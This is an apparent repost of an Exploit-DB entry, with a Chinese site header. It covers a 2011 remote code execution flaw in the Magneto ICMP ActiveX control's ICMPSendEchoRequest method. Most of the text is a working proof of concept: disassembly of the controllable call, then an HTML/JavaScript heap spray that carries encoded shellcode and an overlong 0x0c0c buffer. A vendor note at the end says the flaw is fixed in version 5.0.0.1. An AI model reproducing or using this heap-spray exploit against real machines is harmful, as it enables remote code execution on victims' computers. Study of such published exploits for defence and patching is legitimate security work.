Magneto ICMP ActiveX 4.0.0.20 – ICMPSendEchoRequest Remote Code Execute - 体验盒子

作者： boahat

日期： 2011-05-27

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/17328/

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Magneto ICMP ActiveX v4.0.0.20 ICMPSendEchoRequest Remote Code Execute

Date: 2011-5-27

Discovered by: boahat

vendor: http://www.magnetosoft.com/

Download: http://www.magnetosoft.com/downloads/skicmp_setup.exe

SKIcmp.ocx

Function ICMPSendEchoRequest (

ByVal bstrDestinationAddressAs String

)As Long

.text:1000F012 mov edx, [ebx+8] // edx can be control

.text:1000F015 lea ecx, [esp+468h+String1]

.text:1000F019 pushesi

.text:1000F01A pushecx

.text:1000F01B calledx // bomb...

[POC]

<html>

<body>

var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

var bigblock= unescape("%u0c0c%u0c0c");

var headersize = 20;

var slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace)

bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000)

block = block+block+fillblock;

memory = new Array();

for (x=0; x<500; x++)

memory[x] = block + shellcode;

var buffer = '';

while (buffer.length < 6000)

buffer+="\x0c\x0c\x0c\x0c";

target.ICMPSendEchoRequest(buffer);

</script>

</body>

</html>

# Exploit-DB Note:

# According to MagnetSoft The exploit has been fixed in the latest version of the software,5.0.0.1.

# The latest version that contains the fix can be downloaded here:

# http://www.magnetosoft.com/www/downloads/win32/skdns_setup.exe